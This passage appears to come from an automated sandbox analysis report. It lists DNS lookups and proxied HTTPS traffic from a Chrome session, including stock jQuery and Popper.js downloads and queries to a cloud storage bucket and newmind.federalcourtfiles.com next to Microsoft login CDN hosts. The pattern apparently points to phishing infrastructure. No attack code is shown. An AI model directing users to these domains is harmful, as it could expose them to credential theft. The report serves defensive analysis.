Dec 19, 2024 15:13:31.850303888 CET	1.1.1.1	192.168.2.5	0x764c	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Dec 19, 2024 15:13:31.850303888 CET	1.1.1.1	192.168.2.5	0x764c	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Dec 19, 2024 15:13:31.850303888 CET	1.1.1.1	192.168.2.5	0x764c	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Dec 19, 2024 15:13:32.255695105 CET	1.1.1.1	192.168.2.5	0x48ec	No error (0)	www.google.com		172.217.19.228	A (IP address)	IN (0x0001)	false
Dec 19, 2024 15:13:32.255809069 CET	1.1.1.1	192.168.2.5	0x22bb	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 19, 2024 15:13:34.051954031 CET	1.1.1.1	192.168.2.5	0x9625	No error (0)	6032451419-1323985617.cos.na-siliconvalley.myqcloud.com	cos.na-siliconvalley.myqcloud.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 19, 2024 15:13:34.051954031 CET	1.1.1.1	192.168.2.5	0x9625	No error (0)	cos.na-siliconvalley.myqcloud.com		170.106.97.198	A (IP address)	IN (0x0001)	false
Dec 19, 2024 15:13:34.051954031 CET	1.1.1.1	192.168.2.5	0x9625	No error (0)	cos.na-siliconvalley.myqcloud.com		170.106.97.196	A (IP address)	IN (0x0001)	false
Dec 19, 2024 15:13:34.051954031 CET	1.1.1.1	192.168.2.5	0x9625	No error (0)	cos.na-siliconvalley.myqcloud.com		170.106.97.195	A (IP address)	IN (0x0001)	false
Dec 19, 2024 15:13:34.217896938 CET	1.1.1.1	192.168.2.5	0xea6a	No error (0)	newmind.federalcourtfiles.com		172.67.139.114	A (IP address)	IN (0x0001)	false
Dec 19, 2024 15:13:34.217896938 CET	1.1.1.1	192.168.2.5	0xea6a	No error (0)	newmind.federalcourtfiles.com		104.21.26.217	A (IP address)	IN (0x0001)	false
Dec 19, 2024 15:13:34.218460083 CET	1.1.1.1	192.168.2.5	0x678c	No error (0)	newmind.federalcourtfiles.com			65	IN (0x0001)	false
Dec 19, 2024 15:13:39.655658007 CET	1.1.1.1	192.168.2.5	0x5804	No error (0)	newmind.federalcourtfiles.com			65	IN (0x0001)	false
Dec 19, 2024 15:13:39.655749083 CET	1.1.1.1	192.168.2.5	0xa820	No error (0)	newmind.federalcourtfiles.com		104.21.26.217	A (IP address)	IN (0x0001)	false
Dec 19, 2024 15:13:39.655749083 CET	1.1.1.1	192.168.2.5	0xa820	No error (0)	newmind.federalcourtfiles.com		172.67.139.114	A (IP address)	IN (0x0001)	false
Dec 19, 2024 15:13:42.671252966 CET	1.1.1.1	192.168.2.5	0x1498	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 19, 2024 15:13:42.671252966 CET	1.1.1.1	192.168.2.5	0x1498	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 19, 2024 15:13:42.671252966 CET	1.1.1.1	192.168.2.5	0x1498	No error (0)	sni1gl.wpc.omegacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Dec 19, 2024 15:13:42.727108955 CET	1.1.1.1	192.168.2.5	0xafd1	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 19, 2024 15:13:42.727108955 CET	1.1.1.1	192.168.2.5	0xafd1	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 19, 2024 15:13:42.909094095 CET	1.1.1.1	192.168.2.5	0x1d30	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 19, 2024 15:13:42.909094095 CET	1.1.1.1	192.168.2.5	0x1d30	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 19, 2024 15:13:45.044476032 CET	1.1.1.1	192.168.2.5	0xe694	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 19, 2024 15:13:45.044476032 CET	1.1.1.1	192.168.2.5	0xe694	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 19, 2024 15:13:45.180403948 CET	1.1.1.1	192.168.2.5	0xb694	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 19, 2024 15:13:45.180403948 CET	1.1.1.1	192.168.2.5	0xb694	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 19, 2024 15:13:45.180403948 CET	1.1.1.1	192.168.2.5	0xb694	No error (0)	sni1gl.wpc.omegacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Dec 19, 2024 15:13:45.181246042 CET	1.1.1.1	192.168.2.5	0x94d2	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 19, 2024 15:13:45.181246042 CET	1.1.1.1	192.168.2.5	0x94d2	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

code.jquery.com

cdnjs.cloudflare.com

maxcdn.bootstrapcdn.com

stackpath.bootstrapcdn.com

6032451419-1323985617.cos.na-siliconvalley.myqcloud.com

newmind.federalcourtfiles.com

aadcdn.msftauth.net

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49710	151.101.194.137	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 14:13:30 UTC	602	OUT	GET /jquery-3.2.1.slim.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: null sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-19 14:13:30 UTC	612	IN	HTTP/1.1 200 OK Connection: close Content-Length: 69597 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-10fdd" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 2600345 Date: Thu, 19 Dec 2024 14:13:30 GMT X-Served-By: cache-lga21984-LGA, cache-ewr-kewr1740077-EWR X-Cache: HIT, HIT X-Cache-Hits: 507, 0 X-Timer: S1734617611.750875,VS0,VE1 Vary: Accept-Encoding
2024-12-19 14:13:30 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 32 2e 31 20 2d 61 6a 61 78 2c 2d 61 6a 61 78 2f 6a 73 6f 6e 70 2c 2d 61 6a 61 78 2f 6c 6f 61 64 2c 2d 61 6a 61 78 2f 70 61 72 73 65 58 4d 4c 2c 2d 61 6a 61 78 2f 73 63 72 69 70 74 2c 2d 61 6a 61 78 2f 76 61 72 2f 6c 6f 63 61 74 69 6f 6e 2c 2d 61 6a 61 78 2f 76 61 72 2f 6e 6f 6e 63 65 2c 2d 61 6a 61 78 2f 76 61 72 2f 72 71 75 65 72 79 2c 2d 61 6a 61 78 2f 78 68 72 2c 2d 6d 61 6e 69 70 75 6c 61 74 69 6f 6e 2f 5f 65 76 61 6c 55 72 6c 2c 2d 65 76 65 6e 74 2f 61 6a 61 78 2c 2d 65 66 66 65 63 74 73 2c 2d 65 66 66 65 63 74 73 2f 54 77 65 65 6e 2c 2d 65 66 66 65 63 74 73 2f 61 6e 69 6d 61 74 65 64 53 65 6c 65 63 74 6f 72 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e Data Ascii: /*! jQuery v3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector \| (c) JS Foundation and other con
2024-12-19 14:13:30 UTC	1378	IN	Data Raw: 5b 61 5d 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 72 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 61 29 3b 72 65 74 75 72 6e 20 62 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 62 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 72 2e 65 61 63 68 28 74 68 69 73 2c 61 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 72 2e 6d 61 70 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 72 65 74 75 72 6e 20 61 2e 63 61 6c 6c 28 62 2c 63 2c 62 29 7d 29 29 7d 2c 73 6c 69 63 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 Data Ascii: [a]},pushStack:function(a){var b=r.merge(this.constructor(),a);return b.prevObject=this,b},each:function(a){return r.each(this,a)},map:function(a){return this.pushStack(r.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushSta
2024-12-19 14:13:30 UTC	1378	IN	Data Raw: 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 3d 6b 2e 63 61 6c 6c 28 61 29 29 26 26 28 21 28 62 3d 65 28 61 29 29 7c 7c 28 63 3d 6c 2e 63 61 6c 6c 28 62 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 26 26 62 2e 63 6f 6e 73 74 72 75 63 74 6f 72 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 63 26 26 6d 2e 63 61 6c 6c 28 63 29 3d 3d 3d 6e 29 29 7d 2c 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3b 66 6f 72 28 62 20 69 6e 20 61 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 74 79 70 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 61 3f 61 2b 22 22 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 61 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 Data Ascii: ject Object]"!==k.call(a))&&(!(b=e(a))\|\|(c=l.call(b,"constructor")&&b.constructor,"function"==typeof c&&m.call(c)===n))},isEmptyObject:function(a){var b;for(b in a)return!1;return!0},type:function(a){return null==a?a+"":"object"==typeof a\|\|"function"==typ
2024-12-19 14:13:30 UTC	1378	IN	Data Raw: 6e 6f 77 2c 73 75 70 70 6f 72 74 3a 6f 7d 29 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 28 72 2e 66 6e 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3d 63 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 29 2c 72 2e 65 61 63 68 28 22 42 6f 6f 6c 65 61 6e 20 4e 75 6d 62 65 72 20 53 74 72 69 6e 67 20 46 75 6e 63 74 69 6f 6e 20 41 72 72 61 79 20 44 61 74 65 20 52 65 67 45 78 70 20 4f 62 6a 65 63 74 20 45 72 72 6f 72 20 53 79 6d 62 6f 6c 22 2e 73 70 6c 69 74 28 22 20 22 29 2c 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 6a 5b 22 5b 6f 62 6a 65 63 74 20 22 2b 62 2b 22 5d 22 5d 3d 62 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 77 28 61 29 7b 76 61 72 20 62 3d 21 21 61 26 26 22 6c 65 Data Ascii: now,support:o}),"function"==typeof Symbol&&(r.fn[Symbol.iterator]=c[Symbol.iterator]),r.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(a,b){j["[object "+b+"]"]=b.toLowerCase()});function w(a){var b=!!a&&"le
2024-12-19 14:13:30 UTC	1378	IN	Data Raw: 22 29 22 29 2c 43 4c 41 53 53 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 5c 5c 2e 28 22 2b 4c 2b 22 29 22 29 2c 54 41 47 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 28 22 2b 4c 2b 22 7c 5b 2a 5d 29 22 29 2c 41 54 54 52 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4d 29 2c 50 53 45 55 44 4f 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4e 29 2c 43 48 49 4c 44 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 3a 28 6f 6e 6c 79 7c 66 69 72 73 74 7c 6c 61 73 74 7c 6e 74 68 7c 6e 74 68 2d 6c 61 73 74 29 2d 28 63 68 69 6c 64 7c 6f 66 2d 74 79 70 65 29 28 3f 3a 5c 5c 28 22 2b 4b 2b 22 2a 28 65 76 65 6e 7c 6f 64 64 7c 28 28 5b 2b 2d 5d 7c 29 28 5c 5c 64 2a 29 6e 7c 29 22 2b 4b 2b 22 2a 28 3f 3a 28 5b 2b 2d 5d 7c 29 22 2b 4b 2b 22 2a 28 5c 5c 64 2b 29 7c 29 29 22 2b 4b Data Ascii: ")"),CLASS:new RegExp("^\\.("+L+")"),TAG:new RegExp("^("+L+"\|[])"),ATTR:new RegExp("^"+M),PSEUDO:new RegExp("^"+N),CHILD:new RegExp("^:(only\|first\|last\|nth\|nth-last)-(child\|of-type)(?:\\("+K+"(even\|odd\|(([+-]\|)(\\d)n\|)"+K+"(?:([+-]\|)"+K+"*(\\d+)\|))"+K
2024-12-19 14:13:30 UTC	1378	IN	Data Raw: 3d 3d 77 26 26 31 31 21 3d 3d 77 29 72 65 74 75 72 6e 20 64 3b 69 66 28 21 65 26 26 28 28 62 3f 62 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 62 3a 76 29 21 3d 3d 6e 26 26 6d 28 62 29 2c 62 3d 62 7c 7c 6e 2c 70 29 29 7b 69 66 28 31 31 21 3d 3d 77 26 26 28 6c 3d 5a 2e 65 78 65 63 28 61 29 29 29 69 66 28 66 3d 6c 5b 31 5d 29 7b 69 66 28 39 3d 3d 3d 77 29 7b 69 66 28 21 28 6a 3d 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 66 29 29 29 72 65 74 75 72 6e 20 64 3b 69 66 28 6a 2e 69 64 3d 3d 3d 66 29 72 65 74 75 72 6e 20 64 2e 70 75 73 68 28 6a 29 2c 64 7d 65 6c 73 65 20 69 66 28 73 26 26 28 6a 3d 73 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 66 29 29 26 26 74 28 62 2c 6a 29 26 26 6a 2e 69 64 3d 3d 3d 66 29 72 65 74 75 72 6e 20 64 2e 70 75 73 68 Data Ascii: ==w&&11!==w)return d;if(!e&&((b?b.ownerDocument\|\|b:v)!==n&&m(b),b=b\|\|n,p)){if(11!==w&&(l=Z.exec(a)))if(f=l[1]){if(9===w){if(!(j=b.getElementById(f)))return d;if(j.id===f)return d.push(j),d}else if(s&&(j=s.getElementById(f))&&t(b,j)&&j.id===f)return d.push
2024-12-19 14:13:30 UTC	1378	IN	Data Raw: 20 6d 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 63 3d 62 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 72 65 74 75 72 6e 22 69 6e 70 75 74 22 3d 3d 3d 63 26 26 62 2e 74 79 70 65 3d 3d 3d 61 7d 7d 66 75 6e 63 74 69 6f 6e 20 6e 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 63 3d 62 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 72 65 74 75 72 6e 28 22 69 6e 70 75 74 22 3d 3d 3d 63 7c 7c 22 62 75 74 74 6f 6e 22 3d 3d 3d 63 29 26 26 62 2e 74 79 70 65 3d 3d 3d 61 7d 7d 66 75 6e 63 74 69 6f 6e 20 6f 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 22 66 6f 72 6d 22 69 6e 20 62 3f 62 2e 70 61 Data Ascii: ma(a){return function(b){var c=b.nodeName.toLowerCase();return"input"===c&&b.type===a}}function na(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c\|\|"button"===c)&&b.type===a}}function oa(a){return function(b){return"form"in b?b.pa
2024-12-19 14:13:30 UTC	1378	IN	Data Raw: 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 4e 61 6d 65 7c 7c 21 6e 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 4e 61 6d 65 28 75 29 2e 6c 65 6e 67 74 68 7d 29 2c 63 2e 67 65 74 42 79 49 64 3f 28 64 2e 66 69 6c 74 65 72 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 61 2e 72 65 70 6c 61 63 65 28 5f 2c 61 61 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 3d 3d 3d 62 7d 7d 2c 64 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 70 29 7b 76 61 72 20 63 3d 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 61 29 Data Ascii: getElementsByName\|\|!n.getElementsByName(u).length}),c.getById?(d.filter.ID=function(a){var b=a.replace(_,aa);return function(a){return a.getAttribute("id")===b}},d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c=b.getElementById(a)
2024-12-19 14:13:30 UTC	1378	IN	Data Raw: 2e 70 75 73 68 28 22 5b 2a 5e 24 5d 3d 22 2b 4b 2b 22 2a 28 3f 3a 27 27 7c 5c 22 5c 22 29 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 73 65 6c 65 63 74 65 64 5d 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 5c 5c 5b 22 2b 4b 2b 22 2a 28 3f 3a 76 61 6c 75 65 7c 22 2b 4a 2b 22 29 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 69 64 7e 3d 22 2b 75 2b 22 2d 5d 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 7e 3d 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 63 68 65 63 6b 65 64 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 3a 63 68 65 63 6b 65 64 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 61 23 22 2b 75 2b 22 2b 2a 22 29 2e Data Ascii: .push("[^$]="+K+"(?:''\|\"\")"),a.querySelectorAll("[selected]").length\|\|q.push("\\["+K+"(?:value\|"+J+")"),a.querySelectorAll("[id~="+u+"-]").length\|\|q.push("~="),a.querySelectorAll(":checked").length\|\|q.push(":checked"),a.querySelectorAll("a#"+u+"+").
2024-12-19 14:13:30 UTC	1378	IN	Data Raw: 65 29 69 66 28 62 3d 3d 3d 61 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 42 3d 62 3f 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 61 3d 3d 3d 62 29 72 65 74 75 72 6e 20 6c 3d 21 30 2c 30 3b 76 61 72 20 64 3d 21 61 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 2d 21 62 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 3b 72 65 74 75 72 6e 20 64 3f 64 3a 28 64 3d 28 61 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 61 29 3d 3d 3d 28 62 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 62 29 3f 61 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 62 29 3a 31 2c 31 26 64 7c 7c 21 63 2e 73 6f 72 74 44 65 74 61 63 68 65 64 26 26 62 2e 63 6f 6d 70 61 72 65 44 6f 63 75 Data Ascii: e)if(b===a)return!0;return!1},B=b?function(a,b){if(a===b)return l=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument\|\|a)===(b.ownerDocument\|\|b)?a.compareDocumentPosition(b):1,1&d\|\|!c.sortDetached&&b.compareDocu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	104.17.24.14	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 14:13:30 UTC	627	OUT	GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: null sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-19 14:13:30 UTC	962	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 14:13:30 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03fa9-4af4" Last-Modified: Mon, 04 May 2020 16:15:37 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 550630 Expires: Tue, 09 Dec 2025 14:13:30 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kn1ypl2BWdYPLo%2BpJyOVLsQfpT84nSQv4EGYanBfhmg%2FAoceWYm43ftHQk2ovMFP%2Feor20Rpi%2FzmaAPVAveVmwkva0Bc1cnznkypy3tu53XDU%2Bizz8DtcwbjDBU74nRNMVvZqnNh"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8f47fe633d800cc2-EWR alt-svc: h3=":443"; ma=86400
2024-12-19 14:13:30 UTC	407	IN	Data Raw: 34 61 66 34 0d 0a 2f 2a 0a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 46 65 64 65 72 69 63 6f 20 5a 69 76 6f 6c 6f 20 32 30 31 37 0a 20 44 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 28 6c 69 63 65 6e 73 65 20 74 65 72 6d 73 20 61 72 65 20 61 74 20 68 74 74 70 3a 2f 2f 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 4d 49 54 29 2e 0a 20 2a 2f 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 27 6f 62 6a 65 63 74 27 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 27 75 6e 64 65 66 69 6e 65 64 27 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 27 66 75 6e 63 74 69 6f 6e 27 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 Data Ascii: 4af4/* Copyright (C) Federico Zivolo 2017 Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT). */(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&
2024-12-19 14:13:30 UTC	1369	IN	Data Raw: 21 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 29 72 65 74 75 72 6e 5b 5d 3b 76 61 72 20 6f 3d 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 65 2c 6e 75 6c 6c 29 3b 72 65 74 75 72 6e 20 74 3f 6f 5b 74 5d 3a 6f 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 65 29 7b 72 65 74 75 72 6e 27 48 54 4d 4c 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 3f 65 3a 65 2e 70 61 72 65 6e 74 4e 6f 64 65 7c 7c 65 2e 68 6f 73 74 7d 66 75 6e 63 74 69 6f 6e 20 6e 28 65 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 73 77 69 74 63 68 28 65 2e 6e 6f 64 65 4e 61 6d 65 29 7b 63 61 73 65 27 48 54 4d 4c 27 3a 63 61 73 65 27 42 4f 44 59 27 3a 72 65 74 75 72 6e 20 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 63 61 73 65 27 23 64 6f 63 75 6d 65 Data Ascii: !==e.nodeType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#docume
2024-12-19 14:13:30 UTC	1369	IN	Data Raw: 74 29 7b 76 61 72 20 6f 3d 32 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 32 5d 26 26 61 72 67 75 6d 65 6e 74 73 5b 32 5d 2c 69 3d 61 28 74 2c 27 74 6f 70 27 29 2c 6e 3d 61 28 74 2c 27 6c 65 66 74 27 29 2c 72 3d 6f 3f 2d 31 3a 31 3b 72 65 74 75 72 6e 20 65 2e 74 6f 70 2b 3d 69 2a 72 2c 65 2e 62 6f 74 74 6f 6d 2b 3d 69 2a 72 2c 65 2e 6c 65 66 74 2b 3d 6e 2a 72 2c 65 2e 72 69 67 68 74 2b 3d 6e 2a 72 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 66 28 65 2c 74 29 7b 76 61 72 20 6f 3d 27 78 27 3d 3d 3d 74 3f 27 4c 65 66 74 27 3a 27 54 6f 70 27 2c 69 3d 27 4c 65 66 74 27 3d 3d 6f 3f 27 52 69 67 68 74 27 3a 27 42 6f 74 74 6f 6d 27 3b 72 65 74 75 72 6e 20 70 61 72 73 65 46 6c 6f 61 74 28 65 5b 27 62 6f Data Ascii: t){var o=2<arguments.length&&void 0!==arguments[2]&&arguments[2],i=a(t,'top'),n=a(t,'left'),r=o?-1:1;return e.top+=ir,e.bottom+=ir,e.left+=nr,e.right+=nr,e}function f(e,t){var o='x'===t?'Left':'Top',i='Left'==o?'Right':'Bottom';return parseFloat(e['bo
